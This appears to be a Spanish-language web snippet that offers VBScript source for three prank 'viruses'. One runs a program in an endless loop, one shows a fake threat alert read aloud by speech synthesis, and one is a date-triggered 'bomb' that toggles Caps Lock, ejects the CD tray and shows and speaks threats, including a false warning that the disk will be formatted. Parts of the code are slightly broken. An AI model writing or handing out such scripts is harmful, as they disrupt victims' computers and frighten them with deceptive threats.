Iconfinder
Toycon
Ventanas
Infinitas (Worm)
do
msgbox ("Mensaje"),16
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "Nomarchivo" & Chr(34), 0
Set WshShell = Nothing
loop
Virus Amenazante
​MsgBox "Se ha detectado una amenaza por favor apaga el sistema",48
Dim speaks, speech
speaks="La computadora se autodestruira en 5 segundos"
Set speech=CreateObject("sapi.spvoice")
speech.Speak speaks
Virus Bomba
dia= Day (Date)
mes = Month(Date)
anio = year (Date)
fecha= dia&"/"&mes&"/"&anio
If fecha = "15/7/2015" OR fecha = "18/7/2015" Then
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys"{CAPSLOCK}"
​
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
colCDROMs.Item(i).Eject
MsgBox "SABES QUE FECHA ES HOY",48
Dim speaks, speech
speaks="Te acuerdas de mi. Soy yo Gustavo. PReparate.Esta es mi Venganza"
Set speech=CreateObject("sapi.spvoice")
speech.Speak speaks
MsgBox "NO TE LIBRARAS DE MI",48
MsgBox "TU COMPUTADORA SE VA A FORMATEAR SINO LA APAGAS",48 loop
End If
​
​
Video: https://www.youtube.com/watch?v=65gfAQ7O0Yc
​